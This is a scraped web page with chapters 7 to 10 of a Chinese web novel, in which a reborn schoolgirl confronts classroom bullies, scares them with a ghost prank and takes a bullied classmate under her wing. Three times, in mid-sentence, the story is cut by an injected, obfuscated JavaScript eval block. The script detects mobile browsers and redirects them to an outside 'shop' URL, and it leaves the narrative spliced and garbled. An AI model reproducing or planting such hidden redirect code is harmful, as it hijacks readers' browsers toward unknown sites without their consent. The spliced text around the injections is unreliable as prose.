走到一半,庄雪言突然停下来反手摸了摸背包放水杯的位置,摸了个空,以赵帅猥琐的性格,明天她要是去晚点去教室指不定自己的水杯会遭遇怎样的毒手。 犹豫片刻,她用手表给何芸打了个电话报平安,三步并作两步跑上楼。 一层楼有四个班级,每个教室灯都亮着,徐嘉轩还没走,安安静静坐在位置上写课后作业,看到庄雪言折返回来疑惑地问:“怎么了?” “拿杯子。”庄雪言把杯子小心地放回书包,提醒道:“你还不走?马上要下雨了。” 徐嘉轩说:“我带了伞。” 庄雪言背上书包准备离开,走之前看到徐嘉轩桌上放着的练习本,数量明显不对,多留了个心眼,一眼就看到压在左边胳膊底下的练习本上写着李顺的名字。 还是老熟人,庄雪言走到他面前停下来,桌面落下一层阴影,徐嘉轩抬头,庄雪言的目光从练习册名字转移到他脸上。 什么话都没说,徐嘉轩却能感到她眼神中的询问。 “我.....” 想起庄雪言走之前说的那番话,徐嘉轩不想让她看到桌子上别人的练习本,他偷偷调整姿势压住带有名字的地方,庄雪言沉默着,白细的手不容拒绝抽出李顺的作业。 翻开练习本,里面的字写的比鬼画符还难看,题目下面写着不符合人设的正确答案,庄雪言放下李顺的,又从徐嘉轩胳膊底下随机抽出一本作业。 陌生的名字,不用猜就知道是李顺身边的狐朋狗友。 庄雪言把本子拿在手上,一本接着一本抽徐嘉轩胳膊下的作业。 徐嘉轩难堪地低头,庄雪言跟没看到似的,直到桌面清空她才停下。 一共有四本。 最后一本作业封皮上写着徐嘉轩的名字,跟另外几本盐菜有质的区别,庄雪言打开徐嘉轩的作业,工整干净的字迹,每道题目下面用水笔条理清晰地写出答案,很少有修改的地方,纸面很漂亮。 庄雪言怀疑徐嘉轩究竟是不是倒数,难道说只是偏科?可他每次的考试成绩并不出彩。 她把徐嘉轩的作业还给他,剩下几本全都撕了个粉碎。 毫无预料听到纸张撕裂的声音,徐嘉轩震惊地抬起头,他张开嘴唇没发出声音,庄雪言猜他应该是想阻止的。 她淡定撕了作业本,废纸在手中揉成大大的圆球,看到徐嘉轩窝囊的模样,庄雪言气不打一处来。 “你连制止我都不敢吗?” “不是.....” 徐嘉轩不知道怎么解释,他难受地皱眉,不像生气反而像委屈,被人欺负了也说不出重话,活脱脱一个可以随便揉捏的面团。 庄雪言想:怪不得总是被人欺负。 “真没用。” 她毫不留情地评价徐嘉轩,丝毫不在乎自己的言语会多伤人,庄雪言把纸团塞进自己书包,走时对许嘉轩说:“明天让他们来找我。” 她看够了徐嘉轩窝囊的模样,有些生气。 跟上辈子的自己一个模子刻出来的。 教室门是道天然屏障,教室里面很暖和,出了教室就像掉进冰箱,秋风卷着发黄的枯叶吹来,庄雪言拉上外套拉链,一路小跑扑进等候在校门口的何芸怀里,态度来了个一百八十度大转变。 她抓着何芸的衣服嗲声嗲气问:“妈妈,你是不是等很久了?我刚刚去拿水杯了,不是故意让你等我的!” 何芸抱着女儿,昏黄路灯下那张温柔的脸有些疲惫,她摸着庄雪言的头发说:“妈妈才刚到不久,妈妈也迟到了。” “厂里下班又晚了吗?”庄雪言把头抬起来,望向何芸的眼里闪过担忧:“妈妈,你不要太累着自己,不行我们就不上班了!” 何芸知道女儿在关心自己,苦涩地笑了两声,说:“不上班哪有钱呀?” 庄雪言嘟嘴,说:“我养你!” “快回家吧,我买了你喜欢的菜。” “好耶妈妈!” 庄雪言坐在自行车后座,脸颊靠着何芸温暖的衣服,路灯隔几米就有一个,明暗交替,她没看到何芸眼底淡淡的忧伤。 第二天最后一节课,何芸趁着课间给她打电话说要晚点来接,庄雪言甜甜地答应下来,保证自己会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526274|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在学校乖乖等她,正好今天她要走晚点,不用找借口拖延了。 下课后没两分钟,班里的同学陆陆续续跑光了,只剩徐嘉轩跟庄雪言两个人安静地待在桌内的狭小空间里。 庄雪言写完一本作业又拿出一本,几缕乌黑的头发落在手臂上,四周安静的只有纸页翻动的声音。 徐嘉轩的作业写完了,他拿着笔认真地做样子,时间一分一秒过去,马上就到跟李顺约定的时间,徐嘉轩偏头问:“你不走吗?” 他的声音跟平常一样小,老师点他起来回答问题也是这样,经常要问几遍才能听清,庄雪言不喜欢畏畏缩缩的男生,想起自己昨天承诺过的事情,她最基本的信用还是有的。 庄雪言目不斜视,一心扑在作业上,抽空回答他:“我说过让他们找我,总不能要找的时候不在吧?” 徐嘉轩双手放在膝盖上缓缓握紧:“你惹到他们,他们会找你麻烦的。” 庄雪言这才来了几分兴趣,黢黑的瞳孔盯着他。 “什么麻烦?” 徐嘉轩说:“有时候他们会故意欺负你。” “嗯。”庄雪言问:“你怕这些吗?” 对一个孩子来说,校园欺凌确实可怕。 庄雪言没察觉自己正在用成年人的心理要求一个未成年的孩子,说出的话带有几分咄咄逼人的意味。 徐嘉轩摇摇头,他从小学就习惯了这些事情,空口无凭就算告诉老师也没用,反而还会引来变本加厉的惩罚,徐嘉轩渐渐不再反抗,他已经习惯那些欺负,反抗跟逆来顺受没有区别,唯独有一件事情..... 庄雪言没说话,似乎在等他的答案,徐嘉轩沉默了一会儿,说:“他们知道我家住在哪,如果我不听他们的话,他们.....” 徐嘉轩垂下眼睛,像一颗被剥开的洋葱头,展露着仅剩一点点的自尊。 “他们会去找我爷爷。” 找徐老头干什么徐嘉轩没说,庄雪言心领神会,咬了咬牙齿,吐出三个字:“知道了。” 做了会儿作业,教室门突然被打开,三个男生结伴闯进来,李顺站在正中间,三个人径直走到徐嘉轩桌前,表情凶狠。 李顺刚想说什么,冷不丁看到坐在一旁写作业的庄雪言,犹豫片刻,见她没有动静,于是放心大胆走到徐嘉轩桌前。 “喂!” 李顺重重踢了下徐嘉轩的桌角,桌子瞬间倾斜十几度,连带同桌的庄雪言都遭了殃,写好的作业上再次多出一条黑线。 自开学以来已经三次了,庄雪言感慨自己的作业真是命运多舛,她把笔拍在桌上,劲比李顺还大,巨响传来,李顺吓得抖了抖身子,警惕地看着庄雪言。 两人对视了十几秒,空气都要凝结了,最终李顺败下阵来,他眨了眨干涩的眼睛,转头找徐嘉轩麻烦。 “作业写完没,写完了给我!” 现在学校流行转笔,李顺也转,他手指不灵活,转着转着笔脱手飞到了庄雪言作业上,又是一条长长的黑线。 李顺:“.......” 看到庄雪言越来越冷的眼神,李顺挺直腰杆装模作样咳了两声。 开玩笑,他还能怕一个女的? “喂。”李顺催促:“作业呢?给我!” 徐嘉轩摇头:“弄不见了。” 听到答案的庄雪言比李顺诧异,她还以为徐嘉轩会说是她撕了,没想到有点义气。 学校现在正在做什么作业评选,评选上的人可以上校园荣誉墙,李顺也想挣点光才让徐嘉轩帮忙写的作业,徐嘉轩从小就是个软脾气,谁知道他能把他作业撕了? 李顺他怒火中烧,一把扯住徐嘉轩的衣领,质问:“弄不见了是什么意思?!” 徐嘉轩看着他的脸,瘦黄瘦黄的脸显得更加弱小。 他说:“找不到了。” “你!” 李顺放下他,高高扬起右手,庄雪言问:“是黄色的数学作业本吗?” 听到她的声音那只手没打下去,李顺看向这个曾经让自己吃过瘪的女孩,有些犹疑地回答:“对啊。” “你知道?” 庄雪言把自己桌面上的东西收拾好,从容地看着他,露出一个微笑。 “厨房生火还差点废纸,我就拿回去烧了。” 8. chapter8 三个人都被她的话震惊到,李顺率先回神,手指着庄雪言,回想到自己之前是怎么在他面前吃的亏,声音开始打结。 “你...你别他妈以为我们不,不打女的!” 徐嘉轩听他们要打人,急地站起来解释:“不是她做的!是我弄丢了,我明天补给你们!” 硬气地说出示弱的话,庄雪言差点气笑了,她也站起来,两手拍在桌上,指着面前三个人的鼻子挨个骂道:“蠢蛋!懒货!废物!” “连作业都不会自己写!有本事就一辈子不写那样最起码我能看得起你们!想在老师面前装个好学生,就应该夹着尾巴兢兢业业求别人帮你们写作业!” 随后看向徐嘉轩,说了句胆小鬼。 劈头盖脸一顿骂,四个大气都不敢喘。 李顺只会欺负人又不会吵架,哑火好半天,两只眼睛狠狠瞪着庄雪言,庄雪言懒得看他,坐回椅子摊开双臂,语气平和了许多。 “骗你的,我从来没见过什么作业,徐嘉轩也没见过,不想被发现的话我劝你们还是趁老师没检查赶紧补上吧。” 李顺本来留过级,要不是义务教育压根上不了初中,凭借着高人一等的年纪在班级上作威作福,平时作业都是徐嘉轩帮忙写的,大小测验全靠抄,就这样赢得了班主任的喜爱,于是更加嚣张。 现在庄雪言反水说没看到作业,李顺又不是傻子,他不能把作业外包的事说出来,庄雪言如果跟老师告状,那话就像圣旨,惨的肯定是他。 理清利弊,李顺深吸几口气,放下狠话:“你别以为你是年级第一就了不起!” 如果不是现在剑拔弩张的气氛,庄雪言还以为他在夸她呢,她很自然地接下李顺对自己的认可,心想当第一名就是爽,谁要是敢惹她,第二天她就能告老师。 “行了赶紧走吧,以后缺德的事情少做。” 庄雪言大发慈悲放过他们,顺便看了看手表,放学半个多小时了她还没等到何芸的信息,再待下去就太晚了,三个傻愣子好不容易被她带弯了思路,万一回味过不对来,她还得再给他们洗脑。 李顺来的时候是来找场子的,现在面子里子都丢了,庄雪言身上有股天然的威慑力,李顺不敢找她麻烦,只能把账都算在徐嘉轩头上,愤恨不平地跺跺脚,瞪着眼走了。 手表屏幕亮起,消息界面弹出何芸的名字,庄雪言关上手表心放下来,脸上多了丝柔软的笑意,她收拾好东西,徐嘉轩紧跟着站起来。 “谢谢你。” 像员工跟领导汇报工作一样,庄雪言有些好笑。 “不客气。” 她回去时又可以跟何芸说她今天做了件好事,得到香吻一枚。 思及此,庄雪言脚步更加轻快,迫不及待想见何芸,她一路小跑到她们约定的路口,路灯下面,庄雪言能看到母亲疲惫的眼睛和起皮的嘴唇。 “妈妈。” 她小跑过去,何芸像往常一样先抱了抱她,低头时发现庄雪言一直在看她的脸。 “这几天事情很多吗?” 何芸实在太累了,那种感觉随着时间的推移成倍数增加,庄雪言建议:“妈妈,你休息几天吧,别去成衣厂里了。” 何芸半蹲下来,视线正好跟庄雪言齐平,看到女儿眼中的担心,安慰道:“最近是特殊时期,不能请假的,忙点就忙点,忙过这一阵就好了,这几天妈妈晚点来接你,你在教室乖乖的不要乱跑。” 庄雪言嘴角都挎着,问:“这一阵是什么时候?” “这.....”何芸也不知道,她眼下有一圈青黑,摇摇头说:“看情况吧,妈妈之后会跟你说的。” 她不想说庄雪言也不追问,沉默着坐上后坐,大部分冷风被何芸挡住,吹在脸上的只有微不足道的冷气,她心里有股不好的预感。 清晨,菜园里的蔬菜叶上裹着一层白霜,雾气浓的化不开,推开门窗,呼吸的第一口气冷的让人发寒。 学校七点半上早自习,何芸六点多洗漱完成,她敲了敲庄雪言的卧室门喊她起床,房间内没人应答,何芸开门进去,床上的被褥整整齐齐地叠起来,里面早就没人了。 院子里那辆缩在墙边的自行车也不见踪迹。 庄雪言最近都是一个人上下学。 成衣厂九点钟上班,如果何芸不接送她,省下来的时间能多睡两个多小时,她们下班太晚,有时庄雪言到家还不见何芸回来。 家里两个老人还饿着肚子,庄雪言放下书包去厨房做饭,她长得比灶台高,炒菜不成问题,就是生火需要点时间。 上次带回来的作业本扔在了柴火旁边,庄雪言点燃后扔进灶炉,火苗瞬间大了许多,橙色的火苗照在庄雪言的侧脸,暖暖的。 她想:李顺的作业用来生火真不错,丢进火炉也算废物利用了。 做完饭,庄雪言连作业都懒得写,脱掉鞋子躺进柔软的被褥,小孩子的精力有限,上了一天课,洗漱完困意紧接着就来了。 一周仅有的两天休息,庄雪言格外珍惜,除了去成衣厂帮工外就是睡觉,厂里的人都夸何芸有福气,生了个乖巧懂事的女儿。 只是这份称赞相比于之前多了几分无力。 庄雪言目光所及的工人,无论男女,脸上都是灰丧的表情,哪怕工作很多也并不积极,何芸是个老实的女人,缝纫机旁边的篮子比别人多的多。 何芸不想让庄雪言进厂里,还没到饭点就把她赶回去。 庄雪言百无聊赖地走在路上,家里太无聊了,电视换来换去就那么几个频道,她不爱看,想到何均暑假时承诺过期末考得好就给她买一部智能手机,庄雪言想打电话问舅舅还作不作数。 山坡上的风景很好,不知道谁家养的狗顺着乡间小路奔跑,庄雪言找了个视野开阔的地方坐下来,刚准备打电话,余光先一步看到山坡下并行的人。 庄雪言视力很好,她眯着眼睛仔细查看,确定目标后,勾起唇角,有了新乐子。 借助熟悉地形的优势,庄雪言跑到他们前方的小树林里,山里全是蜿蜒崎岖的土路,土路两侧是杂草和紧挨着的灌木,一些地方被开辟做成农田,种些玉米花生什么的。 再往前走几百米拐个弯就到徐老头家了,三个男孩各自摘了根狗尾巴草掉在嘴里,一边走还一边骂着什么,庄雪言扯下稻草人身上的孝服穿在身上,又把头发披散下来遮住脸,静静站在不远处的灌木中间。 李顺踏着脚下并不平坦的土地,顺手捡起一块石头扔到左边的河沟里,河沟废弃很久了,里面只有少量的清水,夏天时会有牛趴在里面乘凉。 “见鬼!”看到无尽的弯道,李顺抱怨道:“你们没记错吗,是不是这条路啊?我怎么感觉好像走错了!” 吴真停下来左右看了圈,说:“没走错吧,我们小学的时候不是去过徐嘉轩家吗,哎哟我现在一想起他家那个情况我就犯恶心,住在垃圾堆里面!” 李顺说:“这次去了给徐嘉轩一个教训,把他那一屋子废品都给烧了!看他还敢不敢跟庄雪言玩,那个庄雪言也是!居然骂我是懒货!改天我也给她点教训!于东,你打火机带了没?” 旁边的于东点头,他用脚踢开挡路的杂草,余光似乎看到什么,虎躯一震。 “等....等等!” 他隐约知道是什么,又不敢细看,惊恐地叫住好友,哆嗦着说:“我....我好像看见鬼了!” “少放屁。”李顺上去照着他头打了下,说:“大白天哪有鬼?” “真的!” 白色的身影还在于东视野内,他差点吓哭出来,斩钉截铁说:“真的有鬼!你看啊,你看!” 他手指着灌木林的方向,自己却不敢看,见于东怂的跟孙子似的,李顺信了一半,紧张地咽了下口水,抱着必死的决心转头。 于东指的地方什么都没有,只有一排死了的枯树矗立在原地。 “你妈的!吓老子!” 李顺想起自己刚才胆怯的模样,气地又踹了他一脚,于东壮着胆子看过去,真的什么都没有,更害怕了。 三个人在这耽误了一点时间,除去哭唧唧的于东,剩余没见鬼的两人十分宽心,李顺继续骂脏话发泄自己的不满,突然,走在最前面的吴真也停下脚步,身体抖了抖。 李顺吐出嘴里的狗尾巴草,怒道:“又干嘛,你也见鬼了?!” 吴真惊恐地睁大双眼,转头什么都不说拔腿就跑,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526275|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东神经紧绷着,一点风吹草动都惊恐不已,此时看吴真跑了,尖叫一声,跟在吴真屁股后面一起跑了。 这下任凭李顺再怎么胆大也被弄得心里发毛,他转头对两人的背影怒骂一通,好像声音够大就能驱散他心中的恐惧。 “这个世界上根本没有鬼!你思政学狗肚子里去了吗?!少跟我装!” 李顺越说越没底气,朝四面八方都看了看,明明什么都没有。 “你们今天跑了,以后就不是我李顺的兄弟!” 听到声音,两个人跑的更快了。 “骂的真没错!一个怂包一个软蛋!” 李顺站在原地,心里打起了退堂鼓。 现在跑路太丢面子,只能硬着头皮往前走,庄雪言抄了个近路站在更加显眼的位置,披着头发一动不动,李顺没走两步看到了两人口中的鬼,吓得两腿颤颤,跑的比他们还狼狈。 庄雪言挥动双手慢慢走出来,装模作样要追他们,吓得偷偷往回看的李顺摔了个狗吃屎,哭爹喊娘跑回家。 等人走远后庄雪言才脱下衣服,她蹲在地上捂住嘴唇发出银铃的笑声,肚子很痛,庄雪言埋头捂住腹部,单薄的肩膀微微颤抖,过了一会儿,头上传来关心的声音。 “你不舒服吗?” 度过了变声期,他的声线带有变得柔和许多,徐嘉轩一手拿着几个压扁的纸盒,一手拿着新买的沐浴露,隔着远近刚好的距离蹲在庄雪言面前,关心地看着她。 庄雪言抬头,睫毛上挂着没干的眼泪,鼻尖和脸颊泛出粉色,柔顺的乌发挂肩上,看起来比平常严肃的样子要容易接近许多。 徐嘉轩拿出口袋里的纸巾递给她,目光认真又担心:“身体不舒服要去看医生,我可以扶着你。” “不用,我没事。” 庄雪言拿过纸巾跟他道谢,她缓了一会儿,等肚子不那么痛之后站起身准备回去,徐嘉轩见她要离开,上前几步:“我刚刚看到李顺他们了。” 说到李顺,庄雪言肚子又开始疼了,她克制不住眼底的笑意,转头,古灵精怪地对徐嘉轩做出夸张的动作,问:“是不是像这样手舞足蹈地飞奔回去的?” 徐嘉轩点头,回想起三人脸上惊恐的表情,他们只顾着逃跑,连他经过都不知道。 “你上次帮了我,李顺会找你麻烦的,你以后......” 说到这,他顿了顿,失落地说:“你以后不要帮我了,我也会注意跟你保持距离的。” 他不希望庄雪言因为他受牵连。 徐嘉轩表情认真,不像是开玩笑的,庄雪言觉得他像一块古板的石头,认死理且不懂趣味。 庄雪言故作为难地逗他:“可是.....有些人说想跟我做朋友,我原本都准备答应了,既然你这么说.....唉——” 她失望地叹气,徐嘉轩抓紧手中的纸片,心里很不是滋味:“跟我做朋友不好,会倒霉的。” 徐老头刚把徐嘉轩捡回来那会儿,家里还有亲戚走动,后来不知道谁当着徐老头的面说徐嘉轩是个倒霉鬼,到谁家谁倒霉,气得徐老头把吃饭的桌子都掀了,从那之后,有联系的亲戚几乎跟他断绝了来往。 也变相印证了许嘉轩是倒霉鬼的话。 跟庄雪言做朋友本来是他一厢情愿的愿望,徐嘉轩忘记了自己只会把霉运传给别人,自卑地低下头,手指尴尬又难受地揪着衣服。 听到他的话庄雪言差点没笑出声,如果世界是一个巨大的游戏,那徐嘉轩肯定是主角之一,哪有跟着主角混还倒霉的,她才不相信。 按照游戏的套路来说她作为重生人士也是妥妥的主角人设,可惜到现在还没享受到主角的待遇。 庄雪言想到什么,两手一拍,说:“你不要我跟你做朋友,那我收你做小弟吧!” 收主角当小弟,那她岂不是比主角还牛的存在。 徐嘉轩错愕地抬头,大脑还没消化她话中的内容,庄雪言直接了当给出两个选择:“你同不同意?不同意的话我就不跟你玩了。” 她眼睛亮晶晶的,很期盼的模样,徐嘉轩有些犹豫,直到庄雪言伸手开始倒数三二一才着急起来,来不及思考,徐嘉轩红着脸说:“我愿意!” 9. chapter9 谁年轻的时候没有非主流的梦想,庄雪言不知道收小弟有什么好处,但一想到上辈子的大老板还有段在自己手下讨生活的时光,她死前回忆起来都会笑的。 日头正盛,今天是秋季罕见的大晴天,庄雪言口头上收了这个小弟却没怎么管,家里还有两个老人等着吃饭,她丢下许嘉轩就回去了。 徐嘉轩对着庄雪言的背影挥手告别,哪怕她没看到,徐嘉轩到家不久,在外收纸盒的徐老头后脚跟着回来,看到摆在桌上的橘子味沐浴露问:“在哪捡的?” 看包装都没拆,不像是别人不要的。 徐嘉轩把院子里散落的纸盒整理好,听到徐老头的话,羞愧瞬间袭来,他低声解释:“不是捡的.....是我买的。” 一瓶要二十九块钱,徐嘉轩没拿家里的钱,自己闲余时间慢慢攒的,但毕竟是花钱的事情,心里有些过意不去。 “对不起,爷爷。” 徐老头年纪大,人不咋行了,在外走了几个小时只想休息,他听得出徐嘉轩声音里的情绪,没怪他。 “小伙子是要学会打扮自己,整天待在垃圾堆里,人都要臭了,这几天说是纸盒要涨价,我们收拾收拾,掺点水卖了算了。” “嗯。” 听徐老头没有怪他的意思,徐嘉轩肉眼可见开心很多,手脚轻快地干完活,拿着桌上的沐浴露回卧室了。 周一,徐嘉轩早早来到班上,他上学前特地闻了闻身上的味道,那些异味基本都消失不见,沐浴露的味道很香,一夜过后还能闻到皮肤上清爽的橘子味。 庄雪言人到了魂没到,眯着眼睛坐在位置上,趁着老师还没来的时候趴在桌上小睡一会儿,忽然想起了什么,她睁开眼,对着徐嘉轩严肃叮嘱:“老师来了告诉我!” 早自习都是站着早读,徐嘉轩点头,离开座位站在桌子旁边,这里正好挡着教室门,方便给庄雪言打掩护。 老师没来时早读的声音稀稀拉拉,只有几个课代表认真,嘈杂的环境里庄雪言睡的很难受,她发誓再也不装鬼骗人了,周末连续两个晚上睡不着觉,这是从来没有过的事情。 迷迷糊糊间,有人狠狠推了下她的桌子,庄雪言条件反射站起来,用书挡住没睁开的眼睛。 前桌传来笑声,庄雪言放下书,露出眼睛底下两个大大的黑眼圈,赵帅见此笑的更加肆无忌惮,指着她说是熊猫,应该被关到动物园里。 庄雪言连打他的力气都没了,她现在只想睡觉,疲惫地趴在桌上,迷迷糊糊跟徐嘉轩说:“你帮我教训他。” 不止庄雪言没把这话当回事,赵帅也没听进去,他不停摇庄雪言的桌子让她起来,庄雪言烦不胜烦,坐直身体刚想说些什么,一本书迎面朝着赵帅的脸砸过去,力道很大,下一秒,对方吃痛的声音响起。 庄雪言困意全跑没了,看到生气的徐嘉轩,突然明白了什么。 她这个小弟看起来收的物超所值啊! 书掉下来,被砸蒙的赵帅捂住鼻子,看到书是谁扔来的后又生气又愤怒,抱起桌面上所有东西一股脑摔向徐嘉轩。 整个班随之安静下来,悄悄注意这场闹剧。 徐嘉轩没被砸到,赵帅恼羞成怒掀了徐嘉轩的桌子,庄雪言拉都拦不住,最后还是班主任出面解决问题,把赵帅调到了别的位置,现在坐在庄雪言前面的是一个安静的女生。 赵帅走的心不甘情不愿,收拾东西的时候还紧紧盯着徐嘉轩,又恶狠狠地跟庄雪言说他一定会回来的,庄雪言尴尬地用右手摸摸头发,等到赵帅从另一边经过,又用左手摸摸头发以挡住他的视线。 没错,班主任问责的时候庄雪言说谎了。 赵帅有错在先,但在规则当中谁先动手打人谁就错了,庄雪言前两天才收了小弟,总不能连基本的安全保障都做不了吧,更何况他还是为自己出头...... 徐嘉轩安静地坐在座位上,桌上摆着练习题,很久很久,一个字都没写,庄雪言看他垂头丧气的,问:“怎么了?” 徐嘉轩问:“我是不是错了?” 弄得半天就在想这些,庄雪言安慰道:“你怎么这么想?赵帅算个什么打就打了!你打的挺好的,他就是欠教训。” “可是我砸的很用力。” “不用力怎么让人知道疼?” 都说棍棒底下出孝子,庄雪言不提倡这种理念,不过有时不得不承认这句话是对的。 刚下完课没多久,赵帅还在收拾新座位上的垃圾,庄雪言拿出下一堂课的教材语重心长地开导小弟: “你容易被欺负就是因为别人怎么对你你都不反抗,人都是欺软怕硬的生物,你要是受了一点委屈就拼命,你看谁还敢欺负你。” 她的话是随口说出来的,徐嘉轩却如获至宝,听得很认真,庄雪言不知道自己给徐嘉轩灌输了一个在他世界观中如何惊世骇俗的思想,座位后面的赵帅看到头挨着头说悄悄话的两人,气得咬牙切齿。 自从赵帅搬离座位后,最大的受益人就是庄雪言,不仅早读睡觉不会被打扰,说话的人也多了一个,美中不足就是赵帅还在他们这个小组,每次下课后路过徐嘉轩的座位就会狠狠踹一脚,连带着庄雪言都跟着遭殃。 接着,关于庄雪言跟徐嘉轩谈恋爱的消息不知道从哪传出,经有心之人的奔走相告人弄得尽皆知。 毫无疑问,肯定是赵帅干的。 庄雪言听谣言的第一反应是生气,跟老师反应后情况不见好转,庄雪言差点呕死,现在班上同学听到她跟徐嘉轩的名字都会发出笑声,严重影响了她的私人生活,于是庄雪言趁着发作业的机会,走到赵帅座位旁狠狠踹了下他的桌角。 书桌没动,庄雪言也没动。 赵帅听到动静,抬头看着脸颊红红的庄雪言,幸灾乐祸道:“疼不疼?我就知道你或者徐嘉轩会来找我,我特意把桌位改装了!” 他身体后倾,拿出抽屉里放着的红砖在庄雪言眼前晃了晃,庄雪言握紧拳头,没料到他会来阴的,笑着说:“疼什么,反正我也没用力。” “哦,是吗?” 赵帅显然不信,想继续犯贱让庄雪言恶心,坐在旁边的男生兴致勃勃看着这一切,突然大声对庄雪言说:“庄雪言我告诉你赵帅他其实喜欢唔——” 话到一半被赵帅捂住嘴,赵帅狡辩的声音比他还大,整张脸几秒内红成了个大番茄。 “你乱说什么!狗都不喜欢庄雪言!你你才喜欢她!!少放屁了!” “他骗你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526276|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男生费劲把嘴上的手扒开,接着说:“他就是喜欢你,我看到他写的情书了!” 男女间的八卦最吸引人,特别是最绯闻热度值很高的庄雪言,周围传来起哄的声音,徐嘉轩把赵帅欲盖弥彰的羞涩看在眼底,庄雪言背对着他,他看不到她的脸。 徐嘉轩不想听那些起哄的声音,他没由来觉得心烦,笔尖落在选择题的括弧内,明明知道答案却写不出来,墨水渗透纸张到下一面,徐嘉轩关上练习册,紧紧捂住耳朵。 “少放屁少放屁!” 在心上人面前被揭穿心意,赵帅又急又躁,庄雪言站在旁边目睹全程,看到赵帅闪躲的眼睛才确定这是真的。 她没有惊讶,没有害羞,正常人被表白的情绪在她这里统统没有,庄雪言只是安安静静站着,然后在两个人从激情澎湃争执到熄火的时候,出声问道:“造谣我跟徐嘉轩的事情,是你做的吗,为什么?” 赵帅面皮很烫,他全身血液都在脸上,脑子乱的像浆糊,只能听到她说了什么,丝毫听不出她话中的冷意。 “那个....那个只是.....” 赵帅不知道该怎么说,谣言确实是他散布的,他知道异性朋友之间最介意谣言,大家只爱听八卦,谁又会在乎八卦中的真实性,于是为了辟谣,两个人只能越走越远,甚至老师知道后还会给两人调开座位。 在谣言之前赵帅很清楚这是很卑劣的做法,可他现在没有办法,下课十分钟跟庄雪言的接触远远不够,所以他才出此下策挑拨离间。 本来被当众揭穿暗恋对象就很丢脸了,赵帅才不会把造谣的原由说出来,硬着头皮承认:“就是我造谣的!没有为什么!如果有就是因为我喜欢你!” 话落,四周一片寂静。 预想中的起哄声并没有听到,赵帅隐约察觉不对,还没等他抬头看清庄雪言的表情,一盆冷水猝不及防从头上泼下来。 “所以,造谣徐嘉轩住在垃圾堆,也是你做的?” 赵帅懵了,他张张嘴,目光触及的是庄雪言漠然的脸。 她的脸很美,是小小的鹅蛋脸,高鼻梁薄嘴唇,因为瞳仁偏大,不笑时看起来要比其他人清高许多,偏偏笑的时候又很温柔,眼睛像一汪清泉,有股天然的力量。 赵帅发现:跟庄雪言相处久后,喜欢上她是一件非常容易的事情。 所以他才会经常故意去惹她生气,只要庄雪言又回应,无论是生气的还是无语的,他都很高兴。 赵帅幻想过无数个自己表白的场景,但这天来的太快了,他做梦都没想到看到的会是一张冷淡的脸,赵帅脑子卡壳,机械性接话:“是,是我做的。” “可是这不是谣言!这是事实!” 庄雪言拿起课本拍到他脸上,言语间是显而易见的生气。 “我警告你,以后恶心的事情少做!我眼睛还没瞎!喜欢你?!赵帅你未免想得太美了吧?” 话像一根针,细细密密地往钻赵帅心上扎,他不明白,明明庄雪言跟徐嘉轩关系看上去并不好,为什么会因为这件事情生这么大的气,他只是在谎言中掺杂了一点实话而已,为什么?为什么! 赵帅愣在座位上,等庄雪言回到座位后,崩溃地扑在桌子上哭了起来。 10. chapter10 庄雪言缓慢走到座位上,右脚抬起时有轻微不自然,几乎所有人注意力都集中在失恋的赵帅身上,没人察觉到庄雪言的不对劲,科任老师走近教室后还很奇怪,难得上课前不用主持纪律。 雨丝轻轻打在玻璃窗上,又是一个雪季的开始,永远时尚的英语老师换上了最新的毛绒外套,小蜜蜂别在腰间,时不时造反发出刺耳的声音。 徐嘉轩看着还没缓过神来的赵帅,对方整节课都处于神游天外的状态,被老师点名批评的好几次,下午的课也是这样。 开小差的事情传到班主任耳朵里,放学前最后一堂课,秃了半个头顶的班主任逮着他说了半小时。 大家都在闷头写作业减少假期的负担,徐嘉轩听着讲台上传出的数落声,落笔十分快,几分钟就做完了一套选择题,感觉今天的作业格外简单。 他回想起上午庄雪言质问赵帅的话,脸颊发烫,细密的雨丝打在窗户上,温差给玻璃覆盖了一层白雾。 庄雪言没写作业,用手托着下巴在思索什么。 要保持第一名也很不容易,庄雪言好胜心犯了,每天都要花费大量时间在学习上,很少会有像今天发呆的时候,徐嘉轩不想让她因为赵帅生气,主动把写完的作业推过去。 “给你。” 庄雪言回神看了作业一眼,上面几乎没有涂改的痕迹,连思路都没做,字母落在题号边,正确率很高的样子。 庄雪言不敢全信,毕竟徐嘉轩每次考试成绩下来都是垫底,老师让她在学习上多帮帮徐嘉轩,庄雪言认真看了,卷子上错的全都是他平时作业不会出错的题目。 练习册或许有流传在民间的答案,考试总不能作假,庄雪言抄了一半还不忘解释:“我不是这样的人,不会像李顺他们一样要你帮我写作业。” 